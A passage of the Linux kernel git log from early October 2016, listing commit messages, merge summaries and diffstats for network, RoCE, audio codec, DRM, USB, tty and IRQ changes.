commit 21f54ddae449f4bdd9f1498124901d67202243d9 Author: Linus Torvalds Date: Mon Oct 3 21:03:48 2016 -0700 Using BUG_ON() as an assert() is _never_ acceptable That just generally kills the machine, and makes debugging only much harder, since the traces may long be gone. Debugging by assert() is a disease. Don't do it. If you can continue, you're much better off doing so with a live machine where you have a much higher chance that the report actually makes it to the system logs, rather than result in a machine that is just completely dead. The only valid situation for BUG_ON() is when continuing is not an option, because there is massive corruption. But if you are just verifying that something is true, you warn about your broken assumptions (preferably just once), and limp on. Fixes: 22f2ac51b6d6 ("mm: workingset: fix crash in shadow node shrinker caused by replace_page_cache_page()") Cc: Johannes Weiner Cc: Miklos Szeredi Cc: Andrew Morton Signed-off-by: Linus Torvalds include/linux/swap.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0438e3c88c54b11ab6168d55eb7c696aeaa32b14 Merge: edfc23e 5e3d033 Author: David S. Miller Date: Mon Oct 3 23:28:50 2016 -0400 Merge branch '100GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 100GbE Intel Wired LAN Driver Updates 2016-10-02 This series contains updates to fm10k only. Jake fixes an issue where PTP applications requesting software timestamps may complain that the requested mode is not supported, so add a generic callback for those drivers that have software transmit timestamp support enabled. Then provides a trivial cleanup where a code was not wrapped properly. Got make sure that code looks good in a 80 character limit. ==================== Signed-off-by: David S. Miller commit edfc23ee3e0ebbb6713d7574ab1b00abff178f6c Author: Guilherme G Piccoli Date: Mon Oct 3 00:31:12 2016 -0700 i40e: avoid NULL pointer dereference and recursive errors on early PCI error Although rare, it's possible to hit PCI error early on device probe, meaning possibly some structs are not entirely initialized, and some might even be completely uninitialized, leading to NULL pointer dereference. The i40e driver currently presents a "bad" behavior if device hits such early PCI error: firstly, the struct i40e_pf might not be attached to pci_dev yet, leading to a NULL pointer dereference on access to pf->state. Even checking if the struct is NULL and avoiding the access in that case isn't enough, since the driver cannot recover from PCI error that early; in our experiments we saw multiple failures on kernel log, like: [549.664] i40e 0007:01:00.1: Initial pf_reset failed: -15 [549.664] i40e: probe of 0007:01:00.1 failed with error -15 [...] [871.644] i40e 0007:01:00.1: The driver for the device stopped because the device firmware failed to init. Try updating your NVM image. [871.644] i40e: probe of 0007:01:00.1 failed with error -32 [...] [872.516] i40e 0007:01:00.0: ARQ: Unknown event 0x0000 ignored Between the first probe failure (error -15) and the second (error -32) another PCI error happened due to the first bad probe. Also, driver started to flood console with those ARQ event messages. This patch will prevent these issues by allowing error recovery mechanism to remove the failed device from the system instead of trying to recover from early PCI errors during device probe. CC: Signed-off-by: Guilherme G Piccoli Acked-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher Signed-off-by: David S. Miller drivers/net/ethernet/intel/i40e/i40e_main.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 2f8fab7ad7de158c0df28b2df02760f98b1f4a18 Merge: b462d22 abd97a9 Author: David S. Miller Date: Mon Oct 3 23:26:18 2016 -0400 Merge branch '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 40GbE Intel Wired LAN Driver Updates 2016-10-03 This series contains fixes to i40e only. Stefan Assmann provides the changes in this series to resolve an issue where when we run out of MSIx vectors, iWARP gets disabled automatically. First adds a check for "no vectors left" during MSIx vector allocation for VMDq, which will prevent more vectors being allocated than available. Then fixed the MSIx vector redistribution when we reach the hardware limit for vectors so that additional features like VMDq, iWARP, etc do not get starved for vectors because the PF is hogging all the resources. Lastly, fix the issue for flow director by moving the check for the reaching the vector limit earlier in the code so that a decision can be made on disabling flow director. ==================== Signed-off-by: David S. Miller commit 8b0678dc914271e9ad4317fe82555ead92ce1cb9 Author: Petr Kulhavy Date: Mon Oct 3 16:40:48 2016 +0200 ASoC: tas571x: remove improper PDN signal usage in set_bias_level The set_bias_level toggles the PDN signal when entering SND_SOC_BIAS_STANDBY and SND_SOC_BIAS_OFF. However this has no effect and actually breaks things down (tested with TAS5717) due to the following reasons: 1) holding down PDN does not save power but holding down RST does 2) now hard mute via register 0x5 is implemented and therefore it is no longer needed to toggle PDN to enter all channel shut down 3) in order to leave PDN it is required to toggle the RST signal (see TAS5721 datasheet), which was not implemented 4) toggling PDN as implemented actually mutes PWMs and there is no audio output (tested on TAS5717) For these reasons remove the PDN signal toggling and just initialize it to inactive in probe(). Signed-off-by: Petr Kulhavy Signed-off-by: Mark Brown sound/soc/codecs/tas571x.c | 14 -------------- 1 file changed, 14 deletions(-) commit b462d22bf3a675dffbfe1cd7ad90eab633d822b7 Merge: b9118b7 abd4967 Author: David S. Miller Date: Mon Oct 3 23:22:52 2016 -0400 Merge branch 'qed-qedr-infrastructure' Yuval Mintz says: ==================== qed*: Add qedr infrastructure support In the last couple of weeks we've been sending RFCs for the qedr driver - the RoCE driver for QLogic FastLinQ 4xxxx line of adapters. Latest RFC can be found at [1]. At Doug's advice [2], we've decided to split the series into two: - first part contains the qed backbone that's necessary for all the configurations relating to the qedr driver, as well as the qede infrastructure that is used for communication between the qedr and qede. - Second part consists of the actual qedr driver and introduces almost no changes to qed/qede. This is the first of said two parts. The second half would be sent later this week. The only 'oddity' in the devision are the Kconfig options - As this series introduces both LL2 and QEDR-based logic in qed/qede, I wanted to add the CONFIG_INFINIBAND_QEDR option here [with default n]. Otherwise, a lot of the code introduced would be dead-code [won't even be compiled] until qedr is accepted. As a result I've placed the config option in an odd place - under qlogic's Kconfig. The second series would then remove that option and add it in its correct place under the infiniband Kconfig. [I'm fine with pushing it there to begin with, but I didn't want to 'contaminate' non-qlogic configuration files with half-baked options]. Dave - I don't think you were E-mailed with Doug's suggestion. I think the notion was to have the two halves accepted side-by-side, but actually the first has no dependency issues, so it's also possible to simply take this first to net-next, and push the qedr into rdma once it's merged. But it's basically up to you and Doug; We'd align with whatever suits you best. ==================== Signed-off-by: David S. Miller commit abd49676c70793ee0a251bc3d8fe1604f9303210 Author: Ram Amrani Date: Sat Oct 1 22:00:01 2016 +0300 qed: Add RoCE ll2 & GSI support Add the RoCE-specific LL2 logic [as well as GSI support] over the 'generic' LL2 interface. Signed-off-by: Ram Amrani Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed.h | 1 + drivers/net/ethernet/qlogic/qed/qed_hsi.h | 3 + drivers/net/ethernet/qlogic/qed/qed_ll2.c | 115 +++++++++-- drivers/net/ethernet/qlogic/qed/qed_ll2.h | 29 ++- drivers/net/ethernet/qlogic/qed/qed_roce.c | 307 +++++++++++++++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_roce.h | 1 + include/linux/qed/qed_roce_if.h | 79 ++++++++ 7 files changed, 523 insertions(+), 12 deletions(-) commit ee8eaea30b1368680f4d2f873bc14e1d7b57d021 Author: Ram Amrani Date: Sat Oct 1 22:00:00 2016 +0300 qed: Add support for memory registeration verbs Add slowpath configuration support for user, dma and memory regions registration. Signed-off-by: Ram Amrani Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_roce.c | 240 +++++++++++++++++++++++++++++ include/linux/qed/qed_roce_if.h | 6 + 2 files changed, 246 insertions(+) commit f109394033521862f2558df93d9afc4dfa829c6a Author: Ram Amrani Date: Sat Oct 1 21:59:59 2016 +0300 qed: Add support for QP verbs Add support for the slowpath configurations of Queue Pair verbs which adds, deletes, modifies and queries Queue Pairs. Signed-off-by: Ram Amrani Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_cxt.h | 1 + drivers/net/ethernet/qlogic/qed/qed_roce.c | 1197 ++++++++++++++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_roce.h | 71 ++ include/linux/qed/qed_roce_if.h | 144 ++++ 4 files changed, 1413 insertions(+) commit c295f86e60f5ba67f0f4bba2bb2c22b3cbf01ec1 Author: Ram Amrani Date: Sat Oct 1 21:59:58 2016 +0300 qed: PD,PKEY and CQ verb support Add support for the configurations of the protection domain and completion queues. Signed-off-by: Ram Amrani Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_roce.c | 324 +++++++++++++++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_roce.h | 21 ++ include/linux/qed/qed_roce_if.h | 30 +++ 3 files changed, 375 insertions(+) commit 51ff17251c9c2c2e71974149d22bc73ea09c27cc Author: Ram Amrani Date: Sat Oct 1 21:59:57 2016 +0300 qed: Add support for RoCE hw init This adds the backbone required for the various HW initalizations which are necessary for the qedr driver - FW notification, resource initializations, etc. Signed-off-by: Ram Amrani Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/Makefile | 1 + drivers/net/ethernet/qlogic/qed/qed.h | 33 +- drivers/net/ethernet/qlogic/qed/qed_cxt.c | 6 + drivers/net/ethernet/qlogic/qed/qed_cxt.h | 6 + drivers/net/ethernet/qlogic/qed/qed_dev.c | 154 +++++ drivers/net/ethernet/qlogic/qed/qed_main.c | 44 +- drivers/net/ethernet/qlogic/qed/qed_reg_addr.h | 8 +- drivers/net/ethernet/qlogic/qed/qed_roce.c | 886 +++++++++++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_roce.h | 123 ++++ drivers/net/ethernet/qlogic/qed/qed_sp.h | 1 + drivers/net/ethernet/qlogic/qed/qed_spq.c | 8 + drivers/net/ethernet/qlogic/qed/qed_sriov.c | 4 +- drivers/net/ethernet/qlogic/qed/qed_vf.c | 2 +- include/linux/qed/common_hsi.h | 1 + include/linux/qed/qed_if.h | 5 +- include/linux/qed/qed_roce_if.h | 345 ++++++++++ include/linux/qed/rdma_common.h | 1 + 17 files changed, 1620 insertions(+), 8 deletions(-) commit cee9fbd8e2e9e713cd8bf227c6492fd8854de74b Author: Ram Amrani Date: Sat Oct 1 21:59:56 2016 +0300 qede: Add qedr framework Adds a skeletal implementation of the qede RoCE driver - The qedr has some dependencies of the state of the underlying base interface. This adds some logic required with mutual registrations and the ability to pass updates on 'intresting' events. Signed-off-by: Ram Amrani Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/Kconfig | 18 +- drivers/net/ethernet/qlogic/qede/Makefile | 1 + drivers/net/ethernet/qlogic/qede/qede.h | 9 + drivers/net/ethernet/qlogic/qede/qede_main.c | 35 ++- drivers/net/ethernet/qlogic/qede/qede_roce.c | 314 +++++++++++++++++++++++++++ include/linux/qed/qed_if.h | 3 +- include/linux/qed/qede_roce.h | 88 ++++++++ 7 files changed, 451 insertions(+), 17 deletions(-) commit 0a7fb11c23c0fb8f5ad37f285f40348f1ab9ccbd Author: Yuval Mintz Date: Sat Oct 1 21:59:55 2016 +0300 qed: Add Light L2 support Other protocols beside the networking driver need the ability of passing some L2 traffic, usually [although not limited] for the purpose of some management traffic. Signed-off-by: Yuval Mintz Signed-off-by: Ram Amrani Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/Kconfig | 8 + drivers/net/ethernet/qlogic/qed/Makefile | 1 + drivers/net/ethernet/qlogic/qed/qed.h | 9 + drivers/net/ethernet/qlogic/qed/qed_cxt.c | 2 + drivers/net/ethernet/qlogic/qed/qed_dev.c | 120 +- drivers/net/ethernet/qlogic/qed/qed_dev_api.h | 20 + drivers/net/ethernet/qlogic/qed/qed_ll2.c | 1699 ++++++++++++++++++++++++ drivers/net/ethernet/qlogic/qed/qed_ll2.h | 289 ++++ drivers/net/ethernet/qlogic/qed/qed_main.c | 23 +- drivers/net/ethernet/qlogic/qed/qed_reg_addr.h | 22 + drivers/net/ethernet/qlogic/qed/qed_sp.h | 4 + include/linux/qed/qed_if.h | 1 + include/linux/qed/qed_ll2_if.h | 139 ++ 13 files changed, 2334 insertions(+), 3 deletions(-) commit e54de7f555970915c3856e7709a7ff74d352f315 Author: Petr Kulhavy Date: Mon Oct 3 16:40:47 2016 +0200 ASoC: tas571x: extend the t_i2c time to comply with TAS5721 TAS5721 datasheet recommends to wait at least 13.5ms after deasserting the RESET signal. For TAS5717 this time is only 12ms, which was the original value in the code. Extend the wait time after deasserting RESET from 12 to 13.5ms to comply with the TAS5721 specification. Signed-off-by: Petr Kulhavy Signed-off-by: Mark Brown sound/soc/codecs/tas571x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 960695670502afa153c2294e15ca790dbe086f4d Author: Petr Kulhavy Date: Mon Oct 3 16:40:50 2016 +0200 ASoC: tas571x: move mixer volume controls from TAS5711 to TAS5717 Channel 1 and 2 Mixer Volume controls (registers 0x72/0x73 and 0x76/0x77) were wrongly assigned to tas5711_controls in commit f252d2346022 ("ASoC: tas571x: add input channel mixer for TAS5717/19") Therefore move them to tas5717_controls. Signed-off-by: Petr Kulhavy Signed-off-by: Mark Brown sound/soc/codecs/tas571x.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 5e549a0c18fc0321c18e7b6842cb7afc90aab396 Author: Petr Kulhavy Date: Mon Oct 3 16:40:49 2016 +0200 ASoC: tas571x: wait 50ms after oscillator trim Wait extra 50ms after writing the oscillator trim register in probe(), as recommended by the TAS5721 and TAS5711 datasheets. Signed-off-by: Petr Kulhavy Signed-off-by: Mark Brown sound/soc/codecs/tas571x.c | 1 + 1 file changed, 1 insertion(+) commit e6445f52d9c8b0e6557a45fa7d0e8e088d430a8c Merge: e6dce82 ab21b63 Author: Linus Torvalds Date: Mon Oct 3 20:17:35 2016 -0700 Merge tag 'usb-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb Pull usb/phy/extcon updates from Greg KH: "Here is the big USB, and PHY, and extcon, patchsets for 4.9-rc1. Full details are in the shortlog, but generally a lot of new hardware support, usb gadget updates, and Wolfram's great cleanup of USB error message handling, making the kernel image a tad bit smaller. All of this has been in linux-next with no reported issues" * tag 'usb-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb: (343 commits) Revert "usbtmc: convert to devm_kzalloc" USB: serial: cp210x: Add ID for a Juniper console usb: Kconfig: using select for USB_COMMON dependency bluetooth: bcm203x: don't print error when allocating urb fails mmc: host: vub300: don't print error when allocating urb fails usb: hub: change CLEAR_FEATURE to SET_FEATURE usb: core: Introduce a USB port LED trigger USB: bcma: drop Northstar PHY 2.0 initialization code usb: core: hcd: add missing header dependencies usb: musb: da8xx: fix error handling message in probe usb: musb: Fix session based PM for first invalid VBUS usb: musb: Fix PM runtime for disconnect after unconfigure musb: Export musb_root_disconnect for use in modules usb: misc: legousbtower: Fix NULL pointer deference cdc-acm: hardening against malicious devices Revert "usb: gadget: NCM: Protect dev->port_usb using dev->lock" include: extcon: Fix compilation error caused because of incomplete merge MAINTAINERS: add tree entry for USB Serial phy-twl4030-usb: initialize charging-related stuff via pm_runtime phy-twl4030-usb: better handle musb_mailbox() failure ... commit f785fb2ec0cbe73165333ea1f23cce36c7fc2521 Merge: c8d2bc9 5556244 359a2f1 Author: Mark Brown Date: Tue Oct 4 05:17:12 2016 +0200 Merge remote-tracking branches 'regmap/topic/core' and 'regmap/topic/debugfs' into regmap-next commit e6dce825fba05f447bd22c865e27233182ab3d79 Merge: 9929780 08bf215 Author: Linus Torvalds Date: Mon Oct 3 20:11:49 2016 -0700 Merge tag 'tty-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty Pull tty and serial updates from Greg KH: "Here is the big tty and serial patch set for 4.9-rc1. It also includes some drivers/dma/ changes, as those were needed by some serial drivers, and they were all acked by the DMA maintainer. Also in here is the long-suffering ACPI SPCR patchset, which was passed around from maintainer to maintainer like a hot-potato. Seems I was the sucker^Wlucky one. All of those patches have been acked by the various subsystem maintainers as well. All of this has been in linux-next with no reported issues" * tag 'tty-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty: (111 commits) Revert "serial: pl011: add console matching function" MAINTAINERS: update entry for atmel_serial driver serial: pl011: add console matching function ARM64: ACPI: enable ACPI_SPCR_TABLE ACPI: parse SPCR and enable matching console of/serial: move earlycon early_param handling to serial Revert "drivers/tty: Explicitly pass current to show_stack" tty: amba-pl011: Don't complain on -EPROBE_DEFER when no irq nios2: dts: 10m50: Add tx-threshold parameter serial: 8250: Set Altera 16550 TX FIFO Threshold serial: 8250: of: Load TX FIFO Threshold from DT Documentation: dt: serial: Add TX FIFO threshold parameter drivers/tty: Explicitly pass current to show_stack serial: imx: Fix DCD reading serial: stm32: mark symbols static where possible serial: xuartps: Add some register initialisation to cdns_early_console_setup() serial: xuartps: Removed unwanted checks while reading the error conditions serial: xuartps: Rewrite the interrupt handling logic serial: stm32: use mapbase instead of membase for DMA tty/serial: atmel: fix fractional baud rate computation ... commit c2cbc38b9715bd8318062e600668fc30e5a3fbfa Author: Laszlo Ersek Date: Mon Oct 3 19:43:03 2016 +0200 drm: virtio: reinstate drm_virtio_set_busid() Before commit a325725633c2 ("drm: Lobotomize set_busid nonsense for !pci drivers"), several DRM drivers for platform devices used to expose an explicit "drm_driver.set_busid" callback, invariably backed by drm_platform_set_busid(). Commit a325725633c2 removed drm_platform_set_busid(), along with the referring .set_busid field initializations. This was justified because interchangeable functionality had been implemented in drm_dev_alloc() / drm_dev_init(), which DRM_IOCTL_SET_VERSION would rely on going forward. However, commit a325725633c2 also removed drm_virtio_set_busid(), for which the same consolidation was not appropriate: this .set_busid callback had been implemented with drm_pci_set_busid(), and not drm_platform_set_busid(). The error regressed Xorg/xserver on QEMU's "virtio-vga" card; the drmGetBusid() function from libdrm would no longer return stable PCI identifiers like "pci:0000:00:02.0", but rather unstable platform ones like "virtio0". Reinstate drm_virtio_set_busid() with judicious use of git checkout -p a325725633c2^ -- drivers/gpu/drm/virtio Cc: Daniel Vetter Cc: Emil Velikov Cc: Gerd Hoffmann Cc: Gustavo Padovan Cc: Hans de Goede Cc: Joachim Frieben Cc: stable@vger.kernel.org # v4.8 Reported-by: Joachim Frieben Fixes: a325725633c26aa66ab940f762a6b0778edf76c0 Ref: https://bugzilla.redhat.com/show_bug.cgi?id=1366842 Signed-off-by: Laszlo Ersek Reviewed-by: Emil Velikov Signed-off-by: Dave Airlie drivers/gpu/drm/virtio/virtgpu_drm_bus.c | 10 ++++++++++ drivers/gpu/drm/virtio/virtgpu_drv.c | 1 + drivers/gpu/drm/virtio/virtgpu_drv.h | 1 + 3 files changed, 12 insertions(+) commit 9929780e86854833e649b39b290b5fe921eb1701 Merge: 7a53eea dd01c75 Author: Linus Torvalds Date: Mon Oct 3 20:03:24 2016 -0700 Merge tag 'driver-core-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core Pull driver core updates from Greg KH: "Here are the "big" driver core patches for 4.9-rc1. Also in here are a number of debugfs fixes that cropped up due to the changes that happened in 4.8 for that filesystem. Overall, nothing major, just a few fixes and cleanups. All of these have been in linux-next with no reported issues" * tag 'driver-core-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core: (23 commits) drivers: dma-coherent: Move spinlock in dma_alloc_from_coherent() drivers: dma-coherent: Fix DMA coherent size for less than page MAINTAINERS: extend firmware_class maintainer list debugfs: propagate release() call result driver-core: platform: Catch errors from calls to irq_get_irq_data sysfs print name of undiscoverable attribute group carl9170: fix debugfs crashes b43legacy: fix debugfs crash b43: fix debugfs crash debugfs: introduce a public file_operations accessor device core: Remove deprecated create_singlethread_workqueue drivers/base dmam_declare_coherent_memory leaks platform: don't return 0 from platform_get_irq[_byname]() on error cpu: clean up register_cpu func dma-mapping: use vma_pages(). drivers: dma-coherent: use vma_pages(). attribute_container: Fix typo base: soc: make it explicitly non-modular drivers: base: dma-mapping: page align the size when unmap_kernel_range platform driver: fix use-after-free in platform_device_del() ... commit 7a53eea1f7b527fd3b6d7ca992914840981afe99 Merge: 597f03f c9fef1c Author: Linus Torvalds Date: Mon Oct 3 19:57:49 2016 -0700 Merge tag 'char-misc-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc Pull char/misc driver updates from Greg KH: "Here's the "big" char and misc driver update for 4.9-rc1. Lots of little things here, all over the driver tree for subsystems that flow through me. Nothing major that I can discern, full details are in the shortlog. All have been in the linux-next tree with no reported issues" * tag 'char-misc-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc: (144 commits) drivers/misc/hpilo: Changes to support new security states in iLO5 FW at25: fix debug and error messaging misc/genwqe: ensure zero initialization vme: fake: remove unexpected unlock in fake_master_set() vme: fake: mark symbols static where possible spmi: pmic-arb: Return an error code if sanity check fails Drivers: hv: get rid of id in struct vmbus_channel Drivers: hv: make VMBus bus ids persistent mcb: Add a dma_device to mcb_device mcb: Enable PCI bus mastering by default mei: stop the stall timer worker if not needed clk: probe common clock drivers earlier vme: fake: fix build for 64-bit dma_addr_t ttyprintk: Neaten and simplify printing mei: me: add kaby point device ids coresight: tmc: mark symbols static where possible coresight: perf: deal with error condition properly Drivers: hv: hv_util: Avoid dynamic allocation in time synch fpga manager: Add hardware dependency to Zynq driver Drivers: hv: utils: Support TimeSync version 4.0 protocol samples. ... commit 2adb29b18ea7dc9503a397eb9995a5f3e6754b9e Author: Daniel Vetter Date: Mon Oct 3 10:28:27 2016 +0200 drm: Undo damage to page_flip_ioctl I screwed up rebasing of my patch in commit 43968d7b806d7a7e021261294c583a216fddf0e5 Author: Daniel Vetter Date: Wed Sep 21 10:59:24 2016 +0200 drm: Extract drm_plane.[hc] which meant on error paths drm_crtc_vblank_put could be called without a get, leading to an underrun of the refcount. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98020 Reported-and-tested-by: Andy Furniss Cc: Sean Paul Cc: Michel Dänzer Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161003082827.11586-1-daniel.vetter@ffwll.ch Signed-off-by: Dave Airlie drivers/gpu/drm/drm_plane.c | 81 ++++++++++++++++++++++----------------------- 1 file changed, 39 insertions(+), 42 deletions(-) commit e86fa21b77f4ef840213ecd33230c7c16879a4ac Author: Chris Wilson Date: Wed Sep 28 23:25:00 2016 +0100 drm: Restore lost drm_framebuffer_unreference in drm_mode_page_flip_ioctl Commit 43968d7b806d ("drm: Extract drm_plane.[hc]") was not the simple cut'n'paste we presumed, somehow it introduced a leak of the page flip target's framebuffer. Fixes: 43968d7b806d ("drm: Extract drm_plane.[hc]") Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160928222500.11827-1-chris@chris-wilson.co.uk Signed-off-by: Dave Airlie drivers/gpu/drm/drm_plane.c | 2 ++ 1 file changed, 2 insertions(+) commit f5dce66593ffb76d750918d6f1962fd62fb54d64 Merge: 28a3965 c046279 Author: Dave Airlie Date: Tue Oct 4 12:43:31 2016 +1000 Merge branch 'exynos-drm-next' of git://git.kernel.org/pub/scm/linux/kernel/git/daeinki/drm-exynos into drm-next This pull request includes, - Code refactoring on HDMI DDC and PHY. - Regression fixup on deadlock issue with G2D pm integration. - Fixup on page fault issue with wait_for_vblank mechianism specific to Exynos drm. - And some cleanups. * 'exynos-drm-next' of git://git.kernel.org/pub/scm/linux/kernel/git/daeinki/drm-exynos: drm/exynos: g2d: simplify g2d_free_runqueue_node() drm/exynos: g2d: use autosuspend mode for PM runtime drm/exynos: g2d: wait for engine to finish drm/exynos: g2d: remove runqueue nodes in g2d_{close,remove}() drm/exynos: g2d: move PM management to runqueue worker Revert "drm/exynos: g2d: fix system and runtime pm integration" drm/exynos: use drm core to handle page-flip event drm/exynos: mark exynos_dp_crtc_clock_enable() static drm/exynos/fimd: add clock rate checking drm/exynos: fix pending update handling drm/exynos/vidi: use timer for vblanks instead of sleeping worker drm/exynos: g2d: beautify probing message drm/exynos: mixer: simplify loop in vp_win_reset() drm/exynos: mixer: convert booleans to flags in mixer context gpu: drm: exynos_hdmi: Remove duplicate initialization of regulator bulk consumer gpu: drm: exynos_hdmi: Move PHY logic into single function gpu: drm: exynos_hdmi: Move DDC logic into single function commit 597f03f9d133e9837d00965016170271d4f87dcf Merge: 999dcbe 0bf71e4 Author: Linus Torvalds Date: Mon Oct 3 19:43:08 2016 -0700 Merge branch 'smp-hotplug-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull CPU hotplug updates from Thomas Gleixner: "Yet another batch of cpu hotplug core updates and conversions: - Provide core infrastructure for multi instance drivers so the drivers do not have to keep custom lists. - Convert custom lists to the new infrastructure. The block-mq custom list conversion comes through the block tree and makes the diffstat tip over to more lines removed than added. - Handle unbalanced hotplug enable/disable calls more gracefully. - Remove the obsolete CPU_STARTING/DYING notifier support. - Convert another batch of notifier users. The relayfs changes which conflicted with the conversion have been shipped to me by Andrew. The remaining lot is targeted for 4.10 so that we finally can remove the rest of the notifiers" * 'smp-hotplug-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (46 commits) cpufreq: Fix up conversion to hotplug state machine blk/mq: Reserve hotplug states for block multiqueue x86/apic/uv: Convert to hotplug state machine s390/mm/pfault: Convert to hotplug state machine mips/loongson/smp: Convert to hotplug state machine mips/octeon/smp: Convert to hotplug state machine fault-injection/cpu: Convert to hotplug state machine padata: Convert to hotplug state machine cpufreq: Convert to hotplug state machine ACPI/processor: Convert to hotplug state machine virtio scsi: Convert to hotplug state machine oprofile/timer: Convert to hotplug state machine block/softirq: Convert to hotplug state machine lib/irq_poll: Convert to hotplug state machine x86/microcode: Convert to hotplug state machine sh/SH-X3 SMP: Convert to hotplug state machine ia64/mca: Convert to hotplug state machine ARM/OMAP/wakeupgen: Convert to hotplug state machine ARM/shmobile: Convert to hotplug state machine arm64/FP/SIMD: Convert to hotplug state machine ... commit 999dcbe2414e15e19cdc1f91497d01f262c6e1cf Merge: 5e1b834 4cd13c2 Author: Linus Torvalds Date: Mon Oct 3 19:10:15 2016 -0700 Merge branch 'irq-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull irq updates from Thomas Gleixner: "The irq departement proudly presents: - A rework of the core infrastructure to optimally spread interrupt for multiqueue devices. The first version was a bit naive and failed to take thread siblings and other details into account. Developed in cooperation with Christoph and Keith. - Proper delegation of softirqs to ksoftirqd, so if ksoftirqd is active then no further softirq processsing on interrupt return happens. Otherwise we try to delegate and still run another batch of network packets in the irq return path, which then tries to delegate to ksoftirqd ..... - A proper machine parseable sysfs based alternative for /proc/interrupts. - ACPI support for the GICV3-ITS and ARM interrupt remapping - Two new irq chips from the ARM SoC zoo: STM32-EXTI and MVEBU-PIC - A new irq chip for the JCore (SuperH) - The usual pile of small fixlets in core and irqchip drivers" * 'irq-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (42 commits) softirq: Let ksoftirqd do its job genirq: Make function __irq_do_set_handler() static ARM/dts: Add EXTI controller node to stm32f429 ARM/STM32: Select external interrupts controller drivers/irqchip: Add STM32 external interrupts support Documentation/dt-bindings: Document STM32 EXTI controller bindings irqchip/mips-gic: Use for_each_set_bit to iterate over local IRQs pci/msi: Retrieve affinity for a vector genirq/affinity: Remove old irq spread infrastructure genirq/msi: Switch to new irq spreading infrastructure genirq/affinity: Provide smarter irq spreading infrastructure genirq/msi: Add cpumask allocation to alloc_msi_entry genirq: Expose interrupt information through sysfs irqchip/gicv3-its: Use MADT ITS subtable to do PCI/MSI domain initialization irqchip/gicv3-its: Factor out PCI-MSI part that might be reused for ACPI irqchip/gicv3-its: Probe ITS in the ACPI way irqchip/gicv3-its: Refactor ITS DT init code to prepare for ACPI irqchip/gicv3-its: Cleanup for ITS domain initialization PCI/MSI: Setup MSI domain on a per-device basis using IORT ACPI table ACPI: Add new IORT functions to support MSI domain handling ... commit abd97a94ba913d121a920d5541aba1e568be6972 Author: Stefan Assmann Date: Mon Sep 19 13:37:51 2016 +0200 i40e: fix sideband flow director vector allocation Currently if the MSI-X vector limit is reached the sideband flow director gets disabled. A bit too early to make that decision, as vectors may get re-distributed. So move the check further back. Signed-off-by: Stefan Assmann Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 4ce20abc645fc1822e86d9845a8562347e877b36 Author: Stefan Assmann Date: Mon Sep 19 13:37:50 2016 +0200 i40e: fix MSI-X vector redistribution if hw limit is reached The driver allocates 1 vector per CPU thread and the current hardware limit for vectors is 129 per PF. On systems with 128 or more threads this currently means all vectors are used by the PF leaving no room for additional features like VMDq, iWARP, etc... The code that should redistribute the vectors in this case is broken and never triggers. Fixed the code so that it actually triggers if the hardware limit is reached and adjust the number of queue pairs accordingly. Also the number of initially requested iWARP vectors was not properly saved when the vector limit was reached, and therefore always zero. Comparison with debug statement. Before: i40e 0000:2d:00.0: VMDq disabled, not enough MSI-X vectors i40e 0000:2d:00.0: IWARP disabled, not enough MSI-X vectors i40e 00.0 MSI-X vector distribution: PF 128, VMDq 0, FDSB 0, iWARP 0 After: i40e 0000:2d:00.0: MSI-X vector limit reached, attempting to redistribute vectors i40e 00.0 MSI-X vector distribution: PF 78, VMDq 8, FDSB 0, iWARP 42 Signed-off-by: Stefan Assmann Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 38 +++++++++++++++++------------ 1 file changed, 22 insertions(+), 16 deletions(-) commit 9ca57e97a75780a7f9b8e93e83ab1e36dbfd9846 Author: Stefan Assmann Date: Mon Sep 19 13:37:49 2016 +0200 i40e: check if vectors are already depleted when doing VMDq allocation During MSI-X vector allocation for VMDq, a check for "no vectors left" 